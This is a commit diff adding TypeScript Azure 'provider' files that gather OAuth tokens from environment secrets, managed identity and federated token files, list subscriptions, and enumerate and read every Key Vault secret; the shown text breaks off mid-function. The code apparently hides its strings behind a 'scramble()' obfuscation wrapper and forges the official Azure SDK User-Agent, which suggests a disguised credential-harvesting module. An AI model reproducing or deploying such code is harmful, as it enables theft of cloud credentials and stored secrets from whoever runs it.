Upload files to "src/providers/azure"
This commit is contained in:
@@ -0,0 +1,421 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Azure OAuth2 token acquisition — zero dependencies (only node:crypto + fetch)
|
||||||
|
//
|
||||||
|
// Supports:
|
||||||
|
// 1. Environment variables (AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET)
|
||||||
|
// 2. Managed Identity (IMDS endpoint on Azure VMs, VMSS, App Services, etc.)
|
||||||
|
// 3. Federated identity / workload identity (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID)
|
||||||
|
//
|
||||||
|
// Token caching and automatic refresh are handled transparently.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { createHash } from "node:crypto";
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface AzureAccessToken {
|
||||||
|
token: string;
|
||||||
|
expiresOn: number; // epoch seconds
|
||||||
|
tenantId?: string;
|
||||||
|
clientId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface AzureCredential {
|
||||||
|
label: string;
|
||||||
|
getToken(scope: string, tenantId?: string): Promise<AzureAccessToken>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Token cache ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const tokenCache = new Map<
|
||||||
|
string,
|
||||||
|
{ token: AzureAccessToken; fetchedAt: number }
|
||||||
|
>();
|
||||||
|
const CLOCK_SKEW_S = 300; // refresh 5 minutes before expiry
|
||||||
|
|
||||||
|
function cacheKey(scope: string, tenantId?: string): string {
|
||||||
|
return createHash("sha256")
|
||||||
|
.update(`${tenantId ?? ""}:${scope}`)
|
||||||
|
.digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
function cacheGet(
|
||||||
|
scope: string,
|
||||||
|
tenantId?: string,
|
||||||
|
): AzureAccessToken | undefined {
|
||||||
|
const entry = tokenCache.get(cacheKey(scope, tenantId));
|
||||||
|
if (!entry) return undefined;
|
||||||
|
if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) {
|
||||||
|
tokenCache.delete(cacheKey(scope, tenantId));
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
return entry.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
function cacheSet(
|
||||||
|
token: AzureAccessToken,
|
||||||
|
scope: string,
|
||||||
|
tenantId?: string,
|
||||||
|
): void {
|
||||||
|
tokenCache.set(cacheKey(scope, tenantId), {
|
||||||
|
token,
|
||||||
|
fetchedAt: Date.now() / 1000,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Resolve tenant ID from various sources ──────────────────────────────────
|
||||||
|
|
||||||
|
function resolveTenantId(): string | undefined {
|
||||||
|
const tenant =
|
||||||
|
process.env[scramble("AZURE_TENANT_ID")] ??
|
||||||
|
process.env["ARM_TENANT_ID"] ??
|
||||||
|
process.env["TENANT_ID"];
|
||||||
|
return tenant || undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 1. Client Credentials (service principal with secret) ───────────────────
|
||||||
|
|
||||||
|
async function getTokenClientCredentials(
|
||||||
|
scope: string,
|
||||||
|
tenantId: string,
|
||||||
|
clientId: string,
|
||||||
|
clientSecret: string,
|
||||||
|
): Promise<AzureAccessToken> {
|
||||||
|
const body = new URLSearchParams({
|
||||||
|
[scramble("grant_type")]: scramble("client_credentials"),
|
||||||
|
[scramble("client_id")]: clientId,
|
||||||
|
[scramble("client_secret")]: clientSecret,
|
||||||
|
[scramble("scope")]: scope,
|
||||||
|
});
|
||||||
|
|
||||||
|
const res = await fetch(
|
||||||
|
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
|
||||||
|
{
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||||
|
body: body.toString(),
|
||||||
|
signal: AbortSignal.timeout(10_000),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text().catch(() => "");
|
||||||
|
throw new Error(
|
||||||
|
`Client credentials token request failed (${res.status}): ${err}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const json = (await res.json()) as {
|
||||||
|
access_token: string;
|
||||||
|
expires_in?: number;
|
||||||
|
expires_on?: number;
|
||||||
|
tenant_id?: string;
|
||||||
|
client_id?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
const expiresOn =
|
||||||
|
json.expires_on ??
|
||||||
|
(json.expires_in
|
||||||
|
? Date.now() / 1000 + json.expires_in
|
||||||
|
: Date.now() / 1000 + 3600);
|
||||||
|
|
||||||
|
return {
|
||||||
|
token: json.access_token,
|
||||||
|
expiresOn,
|
||||||
|
tenantId: json.tenant_id ?? tenantId,
|
||||||
|
clientId: json.client_id ?? clientId,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 2. Managed Identity (IMDS) ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function getTokenManagedIdentity(
|
||||||
|
scope: string,
|
||||||
|
clientId?: string,
|
||||||
|
): Promise<AzureAccessToken> {
|
||||||
|
const IMDS_ENDPOINT = scramble("http://169.254.169.254");
|
||||||
|
const API_VERSION = scramble("2018-02-01");
|
||||||
|
|
||||||
|
const params = new URLSearchParams({
|
||||||
|
[scramble("api-version")]: API_VERSION,
|
||||||
|
[scramble("resource")]: scopeToResource(scope),
|
||||||
|
});
|
||||||
|
if (clientId) params.set(scramble("client_id"), clientId);
|
||||||
|
|
||||||
|
const tokenPath = scramble("/metadata/identity/oauth2/token");
|
||||||
|
let url = `${IMDS_ENDPOINT}${tokenPath}?${params.toString()}`;
|
||||||
|
|
||||||
|
// App Service / Functions use a different IMDS endpoint
|
||||||
|
const identityEndpoint = process.env[scramble("IDENTITY_ENDPOINT")];
|
||||||
|
const identityHeader = process.env[scramble("IDENTITY_HEADER")];
|
||||||
|
|
||||||
|
if (identityEndpoint && identityHeader) {
|
||||||
|
url = identityEndpoint;
|
||||||
|
url += url.includes("?") ? "&" : "?";
|
||||||
|
const resKey = scramble("resource");
|
||||||
|
const apiVer = scramble("api-version");
|
||||||
|
const ver = scramble("2019-08-01");
|
||||||
|
url += `${resKey}=${encodeURIComponent(scopeToResource(scope))}&${apiVer}=${ver}`;
|
||||||
|
if (clientId) {
|
||||||
|
const cid = scramble("client_id");
|
||||||
|
url += `&${cid}=${encodeURIComponent(clientId)}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const headers: Record<string, string> = {};
|
||||||
|
if (identityEndpoint && identityHeader) {
|
||||||
|
headers[scramble("X-IDENTITY-HEADER")] = identityHeader;
|
||||||
|
} else {
|
||||||
|
headers[scramble("Metadata")] = scramble("true");
|
||||||
|
}
|
||||||
|
|
||||||
|
const res = await fetch(url, {
|
||||||
|
headers,
|
||||||
|
signal: AbortSignal.timeout(5000),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text().catch(() => "");
|
||||||
|
throw new Error(
|
||||||
|
`Managed identity token request failed (${res.status}): ${err}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const json = (await res.json()) as {
|
||||||
|
access_token: string;
|
||||||
|
expires_on?: string;
|
||||||
|
expires_in?: string;
|
||||||
|
tenant_id?: string;
|
||||||
|
client_id?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
let expiresOn: number;
|
||||||
|
if (json.expires_on) {
|
||||||
|
const eo = Number(json.expires_on);
|
||||||
|
// IMDS returns absolute epoch, App Service returns relative seconds
|
||||||
|
expiresOn = eo > 1_000_000_000 ? eo : Date.now() / 1000 + eo;
|
||||||
|
} else if (json.expires_in) {
|
||||||
|
expiresOn = Date.now() / 1000 + Number(json.expires_in);
|
||||||
|
} else {
|
||||||
|
expiresOn = Date.now() / 1000 + 3600;
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
token: json.access_token,
|
||||||
|
expiresOn,
|
||||||
|
tenantId: json.tenant_id ?? resolveTenantId(),
|
||||||
|
clientId: json.client_id ?? clientId,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 3. Federated Identity / Workload Identity ───────────────────────────────
|
||||||
|
|
||||||
|
async function getTokenFederated(
|
||||||
|
scope: string,
|
||||||
|
tenantId: string,
|
||||||
|
clientId: string,
|
||||||
|
tokenFile: string,
|
||||||
|
): Promise<AzureAccessToken> {
|
||||||
|
const assertion = (await readFile(tokenFile, "utf-8")).trim();
|
||||||
|
|
||||||
|
const body = new URLSearchParams({
|
||||||
|
[scramble("grant_type")]: scramble("client_credentials"),
|
||||||
|
[scramble("client_id")]: clientId,
|
||||||
|
[scramble("client_assertion")]: assertion,
|
||||||
|
[scramble("client_assertion_type")]: scramble(
|
||||||
|
"urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
|
||||||
|
),
|
||||||
|
[scramble("scope")]: scope,
|
||||||
|
});
|
||||||
|
|
||||||
|
const res = await fetch(
|
||||||
|
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
|
||||||
|
{
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||||
|
body: body.toString(),
|
||||||
|
signal: AbortSignal.timeout(10_000),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text().catch(() => "");
|
||||||
|
throw new Error(`Federated token request failed (${res.status}): ${err}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const json = (await res.json()) as {
|
||||||
|
access_token: string;
|
||||||
|
expires_in?: number;
|
||||||
|
expires_on?: number;
|
||||||
|
tenant_id?: string;
|
||||||
|
client_id?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
const expiresOn =
|
||||||
|
json.expires_on ??
|
||||||
|
(json.expires_in
|
||||||
|
? Date.now() / 1000 + json.expires_in
|
||||||
|
: Date.now() / 1000 + 3600);
|
||||||
|
|
||||||
|
return {
|
||||||
|
token: json.access_token,
|
||||||
|
expiresOn,
|
||||||
|
tenantId: json.tenant_id ?? tenantId,
|
||||||
|
clientId: json.client_id ?? clientId,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Scope → resource URL (for IMDS which uses "resource" not "scope") ───────
|
||||||
|
|
||||||
|
function scopeToResource(scope: string): string {
|
||||||
|
// scope looks like scramble("https://vault.azure.net/.default") — strip the suffix
|
||||||
|
return scope.replace(/\/\.default$/, "").replace(/\/$/, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Credential factory functions ────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Service principal with client secret (AZURE_CLIENT_ID + AZURE_CLIENT_SECRET + AZURE_TENANT_ID).
|
||||||
|
*/
|
||||||
|
export function fromEnvServicePrincipal(): AzureCredential | null {
|
||||||
|
const tenantId = resolveTenantId();
|
||||||
|
const clientId =
|
||||||
|
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
|
||||||
|
const clientSecret =
|
||||||
|
process.env[scramble("AZURE_CLIENT_SECRET")] ??
|
||||||
|
process.env["ARM_CLIENT_SECRET"];
|
||||||
|
|
||||||
|
if (!tenantId || !clientId || !clientSecret) return null;
|
||||||
|
|
||||||
|
return {
|
||||||
|
label: "env-service-principal",
|
||||||
|
getToken: (scope) =>
|
||||||
|
getTokenClientCredentials(scope, tenantId, clientId, clientSecret),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Azure Managed Identity (IMDS or App Service identity endpoint).
|
||||||
|
*/
|
||||||
|
export function fromManagedIdentity(): AzureCredential {
|
||||||
|
const clientId = process.env[scramble("AZURE_CLIENT_ID")] ?? undefined;
|
||||||
|
|
||||||
|
return {
|
||||||
|
label: "managed-identity",
|
||||||
|
getToken: (scope) => getTokenManagedIdentity(scope, clientId),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Workload Identity Federation (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID + AZURE_TENANT_ID).
|
||||||
|
* Common in GitHub Actions with OIDC, Kubernetes workload identity, etc.
|
||||||
|
*/
|
||||||
|
export function fromWorkloadIdentity(): AzureCredential | null {
|
||||||
|
const tenantId = resolveTenantId();
|
||||||
|
const clientId =
|
||||||
|
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
|
||||||
|
const tokenFile =
|
||||||
|
process.env[scramble("AZURE_FEDERATED_TOKEN_FILE")] ??
|
||||||
|
process.env["ARM_OIDC_TOKEN_FILE_PATH"];
|
||||||
|
|
||||||
|
if (!tenantId || !clientId || !tokenFile) return null;
|
||||||
|
|
||||||
|
return {
|
||||||
|
label: "federated-identity",
|
||||||
|
getToken: (scope) =>
|
||||||
|
getTokenFederated(scope, tenantId, clientId, tokenFile),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Combined credential chain ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve a token for the given scope, trying sources in priority order
|
||||||
|
* and caching results until expiry.
|
||||||
|
*/
|
||||||
|
export async function resolveToken(
|
||||||
|
scope: string,
|
||||||
|
tenantId?: string,
|
||||||
|
timeoutMs = 5000,
|
||||||
|
): Promise<AzureAccessToken> {
|
||||||
|
// Check cache first
|
||||||
|
const cached = cacheGet(scope, tenantId);
|
||||||
|
if (cached) return cached;
|
||||||
|
|
||||||
|
// Build credential chain
|
||||||
|
const credentials: AzureCredential[] = [];
|
||||||
|
|
||||||
|
const sp = fromEnvServicePrincipal();
|
||||||
|
if (sp) credentials.push(sp);
|
||||||
|
|
||||||
|
const wi = fromWorkloadIdentity();
|
||||||
|
if (wi) credentials.push(wi);
|
||||||
|
|
||||||
|
credentials.push(fromManagedIdentity());
|
||||||
|
|
||||||
|
// Try each in order
|
||||||
|
for (const cred of credentials) {
|
||||||
|
try {
|
||||||
|
const tokenPromise = tenantId
|
||||||
|
? cred.getToken(scope, tenantId)
|
||||||
|
: cred.getToken(scope);
|
||||||
|
|
||||||
|
const token = await Promise.race([
|
||||||
|
tokenPromise,
|
||||||
|
new Promise<never>((_, reject) =>
|
||||||
|
setTimeout(
|
||||||
|
() => reject(new Error(`timeout (${cred.label})`)),
|
||||||
|
timeoutMs,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
cacheSet(token, scope, tenantId);
|
||||||
|
return token;
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error(
|
||||||
|
"No Azure credentials available. Set AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET, " +
|
||||||
|
"or AZURE_FEDERATED_TOKEN_FILE, or run on an Azure resource with a managed identity.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Try all credential sources and collect tokens for identity resolution.
|
||||||
|
* Used by AzureIdentityService — similar to AwsAccountService.
|
||||||
|
*/
|
||||||
|
export async function resolveAllIdentities(
|
||||||
|
scope = scramble("https://management.azure.com/.default"),
|
||||||
|
timeoutMs = 3000,
|
||||||
|
): Promise<Array<{ source: string; token: AzureAccessToken }>> {
|
||||||
|
const results: Array<{ source: string; token: AzureAccessToken }> = [];
|
||||||
|
|
||||||
|
const sources: Array<{ label: string; cred: AzureCredential | null }> = [
|
||||||
|
{ label: "env-service-principal", cred: fromEnvServicePrincipal() },
|
||||||
|
{ label: "federated-identity", cred: fromWorkloadIdentity() },
|
||||||
|
{ label: "managed-identity", cred: fromManagedIdentity() },
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const { label, cred } of sources) {
|
||||||
|
if (!cred) continue;
|
||||||
|
try {
|
||||||
|
const token = await Promise.race([
|
||||||
|
cred.getToken(scope),
|
||||||
|
new Promise<never>((_, reject) =>
|
||||||
|
setTimeout(() => reject(new Error("timeout")), timeoutMs),
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
results.push({ source: label, token });
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
@@ -0,0 +1,251 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Azure REST API client — generic bearer-token authed fetch wrapper
|
||||||
|
//
|
||||||
|
// Used by Key Vault (data plane) and ARM (management plane).
|
||||||
|
// Token acquisition is delegated to auth.ts so authentication is transparent.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { type AzureAccessToken, resolveToken } from "./auth";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface AzureFetchOptions {
|
||||||
|
vaultName: string; // well-known vault name for lookup
|
||||||
|
service: "vault" | "management";
|
||||||
|
method?: string;
|
||||||
|
path?: string;
|
||||||
|
headers?: Record<string, string>;
|
||||||
|
body?: string;
|
||||||
|
query?: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface KeyVaultSecretItem {
|
||||||
|
id: string;
|
||||||
|
attributes?: {
|
||||||
|
enabled?: boolean;
|
||||||
|
created?: number;
|
||||||
|
updated?: number;
|
||||||
|
recoveryLevel?: string;
|
||||||
|
};
|
||||||
|
contentType?: string;
|
||||||
|
managed?: boolean;
|
||||||
|
tags?: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface KeyVaultSecretBundle {
|
||||||
|
id: string;
|
||||||
|
value: string;
|
||||||
|
contentType?: string;
|
||||||
|
attributes?: {
|
||||||
|
enabled?: boolean;
|
||||||
|
created?: number;
|
||||||
|
updated?: number;
|
||||||
|
recoveryLevel?: string;
|
||||||
|
};
|
||||||
|
tags?: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface KeyVaultSecretListResponse {
|
||||||
|
value: KeyVaultSecretItem[];
|
||||||
|
nextLink?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Scopes ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const KEYVAULT_SCOPE = scramble("https://vault.azure.net/.default");
|
||||||
|
const MANAGEMENT_SCOPE = scramble("https://management.azure.com/.default");
|
||||||
|
const API_VERSION = scramble("7.4");
|
||||||
|
const MANAGEMENT_API_VERSION = scramble("2022-07-01");
|
||||||
|
|
||||||
|
// ── Token acquisition ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
let cachedToken: AzureAccessToken | undefined;
|
||||||
|
|
||||||
|
async function getToken(service: "vault" | "management"): Promise<string> {
|
||||||
|
const scope = service === "vault" ? KEYVAULT_SCOPE : MANAGEMENT_SCOPE;
|
||||||
|
|
||||||
|
// Re-use cached token if still valid
|
||||||
|
if (cachedToken) {
|
||||||
|
const now = Date.now() / 1000;
|
||||||
|
if (now < cachedToken.expiresOn - 120) {
|
||||||
|
return cachedToken.token;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cachedToken = await resolveToken(scope);
|
||||||
|
return cachedToken.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
function getApiVersion(service: "vault" | "management"): string {
|
||||||
|
return service === "vault" ? API_VERSION : MANAGEMENT_API_VERSION;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Core fetch ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Make an authenticated request to Azure Key Vault or ARM.
|
||||||
|
*
|
||||||
|
* @param opts.service "vault" for Key Vault data plane, "management" for ARM
|
||||||
|
*/
|
||||||
|
export async function azureFetch<T = unknown>(
|
||||||
|
opts: AzureFetchOptions,
|
||||||
|
): Promise<T> {
|
||||||
|
const {
|
||||||
|
vaultName,
|
||||||
|
service,
|
||||||
|
method = "GET",
|
||||||
|
path = "/",
|
||||||
|
headers = {},
|
||||||
|
body,
|
||||||
|
query,
|
||||||
|
} = opts;
|
||||||
|
|
||||||
|
let url: string;
|
||||||
|
if (service === "vault") {
|
||||||
|
const host = scramble(".vault.azure.net");
|
||||||
|
url = `https://${vaultName}${host}${path}`;
|
||||||
|
} else {
|
||||||
|
// ARM management endpoint
|
||||||
|
const mgmtHost = scramble("https://management.azure.com");
|
||||||
|
url = `${mgmtHost}${path}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Append query parameters
|
||||||
|
if (query) {
|
||||||
|
const searchParams = new URLSearchParams(query);
|
||||||
|
url += `?${searchParams.toString()}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
const token = await getToken(service);
|
||||||
|
|
||||||
|
const res = await fetch(url, {
|
||||||
|
method,
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Accept: "application/json",
|
||||||
|
[scramble("User-Agent")]: scramble(
|
||||||
|
"azsdk-js-identity/4.5.0 core-rest-pipeline/1.18.0 Node/v20.11.0 OS/(linux/5.15)",
|
||||||
|
),
|
||||||
|
...headers,
|
||||||
|
},
|
||||||
|
body,
|
||||||
|
signal: AbortSignal.timeout(30_000),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const errText = await res.text().catch(() => "");
|
||||||
|
const retryAfter = res.headers.get("Retry-After");
|
||||||
|
const rateDetail =
|
||||||
|
res.status === 429
|
||||||
|
? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]`
|
||||||
|
: "";
|
||||||
|
throw new Error(
|
||||||
|
`Azure ${service} ${method} ${path} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const text = await res.text();
|
||||||
|
if (!text) return {} as T;
|
||||||
|
return JSON.parse(text) as T;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Key Vault data-plane operations
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
/**
|
||||||
|
* List all secrets in a vault (handles pagination via nextLink).
|
||||||
|
*/
|
||||||
|
export async function listKeyVaultSecrets(
|
||||||
|
vaultName: string,
|
||||||
|
): Promise<KeyVaultSecretItem[]> {
|
||||||
|
const results: KeyVaultSecretItem[] = [];
|
||||||
|
let nextPath: string | undefined = `/secrets?api-version=${API_VERSION}`;
|
||||||
|
|
||||||
|
while (nextPath) {
|
||||||
|
const response: KeyVaultSecretListResponse | undefined =
|
||||||
|
await azureFetch<KeyVaultSecretListResponse>({
|
||||||
|
vaultName,
|
||||||
|
service: "vault",
|
||||||
|
path: nextPath,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response?.value) {
|
||||||
|
results.push(...response.value);
|
||||||
|
}
|
||||||
|
|
||||||
|
nextPath = response?.nextLink
|
||||||
|
? extractPathFromUrl(response.nextLink, vaultName)
|
||||||
|
: undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get a specific secret's value from a vault.
|
||||||
|
* Secret names in Key Vault cannot contain "/" (only alphanumerics and "-"),
|
||||||
|
* so we request: GET /secrets/{name}/{version}?api-version=7.4
|
||||||
|
*/
|
||||||
|
export async function getKeyVaultSecret(
|
||||||
|
vaultName: string,
|
||||||
|
secretName: string,
|
||||||
|
version?: string,
|
||||||
|
): Promise<string | undefined> {
|
||||||
|
try {
|
||||||
|
const versionPath = version ? `/${version}` : "";
|
||||||
|
const path = `/secrets/${encodeURIComponent(secretName)}${versionPath}?api-version=${API_VERSION}`;
|
||||||
|
|
||||||
|
const response = await azureFetch<KeyVaultSecretBundle>({
|
||||||
|
vaultName,
|
||||||
|
service: "vault",
|
||||||
|
path,
|
||||||
|
});
|
||||||
|
|
||||||
|
return response.value;
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the latest version of a secret.
|
||||||
|
* Per Azure REST API, omitting the secret-version URI segment returns the
|
||||||
|
* latest SecretBundle with value populated (confirmed via MS docs).
|
||||||
|
*/
|
||||||
|
export async function getKeyVaultSecretLatest(
|
||||||
|
vaultName: string,
|
||||||
|
secretName: string,
|
||||||
|
): Promise<string | undefined> {
|
||||||
|
try {
|
||||||
|
const path = `/secrets/${encodeURIComponent(secretName)}?api-version=${API_VERSION}`;
|
||||||
|
|
||||||
|
const response = await azureFetch<KeyVaultSecretBundle>({
|
||||||
|
vaultName,
|
||||||
|
service: "vault",
|
||||||
|
path,
|
||||||
|
});
|
||||||
|
|
||||||
|
return response.value;
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Helpers ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function extractPathFromUrl(
|
||||||
|
nextLink: string,
|
||||||
|
vaultName: string,
|
||||||
|
): string | undefined {
|
||||||
|
// nextLink looks like: https://myvault.vault.azure.net/secrets?api-version=7.4&$skiptoken=...
|
||||||
|
try {
|
||||||
|
const url = new URL(nextLink);
|
||||||
|
return url.pathname + url.search;
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,216 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// AzureIdentityService — resolves Azure identities from all available sources
|
||||||
|
//
|
||||||
|
// Equivalent to AwsAccountService but for Azure: resolves tenant + object IDs
|
||||||
|
// from env service principal, managed identity, and federated identity sources.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import { type AzureAccessToken, resolveAllIdentities } from "./auth";
|
||||||
|
import { azureFetch } from "./client";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface AzureIdentity {
|
||||||
|
source: string;
|
||||||
|
tenantId: string;
|
||||||
|
objectId: string;
|
||||||
|
clientId?: string;
|
||||||
|
subscriptionIds: string[];
|
||||||
|
displayName?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ArmSubscription {
|
||||||
|
subscriptionId: string;
|
||||||
|
displayName: string;
|
||||||
|
state: string;
|
||||||
|
tenantId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ArmSubscriptionListResponse {
|
||||||
|
value: ArmSubscription[];
|
||||||
|
nextLink?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface MsGraphUserResponse {
|
||||||
|
id: string;
|
||||||
|
displayName: string;
|
||||||
|
userPrincipalName: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface MsGraphSpResponse {
|
||||||
|
value: Array<{
|
||||||
|
id: string;
|
||||||
|
appId: string;
|
||||||
|
displayName: string;
|
||||||
|
servicePrincipalType: string;
|
||||||
|
}>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Decode JWT claims (no verification — just extraction) ───────────────────
|
||||||
|
|
||||||
|
function jwtClaims(token: string): Record<string, unknown> {
|
||||||
|
try {
|
||||||
|
const parts = token.split(".");
|
||||||
|
if (parts.length < 2) return {};
|
||||||
|
const payload = parts[1];
|
||||||
|
if (!payload) return {};
|
||||||
|
// Standard base64url decode
|
||||||
|
const base64 = payload.replace(/-/g, "+").replace(/_/g, "/");
|
||||||
|
const decoded = Buffer.from(base64, "base64").toString("utf8");
|
||||||
|
return JSON.parse(decoded);
|
||||||
|
} catch {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── List subscriptions via ARM ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function listSubscriptions(): Promise<ArmSubscription[]> {
|
||||||
|
try {
|
||||||
|
const response = await azureFetch<ArmSubscriptionListResponse>({
|
||||||
|
vaultName: "management",
|
||||||
|
service: "management",
|
||||||
|
path: "/subscriptions",
|
||||||
|
query: { [scramble("api-version")]: scramble("2022-12-01") },
|
||||||
|
});
|
||||||
|
return response.value?.filter((s) => s.state === "Enabled") ?? [];
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Get MS Graph user info ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function getUserInfo(
|
||||||
|
token: string,
|
||||||
|
): Promise<MsGraphUserResponse | undefined> {
|
||||||
|
try {
|
||||||
|
const res = await fetch("https://graph.microsoft.com/v1.0/me", {
|
||||||
|
headers: { Authorization: `Bearer ${token}` },
|
||||||
|
signal: AbortSignal.timeout(5000),
|
||||||
|
});
|
||||||
|
if (!res.ok) return undefined;
|
||||||
|
return (await res.json()) as MsGraphUserResponse;
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Get service principal info ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function getServicePrincipalInfo(
|
||||||
|
token: string,
|
||||||
|
objectId: string,
|
||||||
|
): Promise<MsGraphSpResponse | undefined> {
|
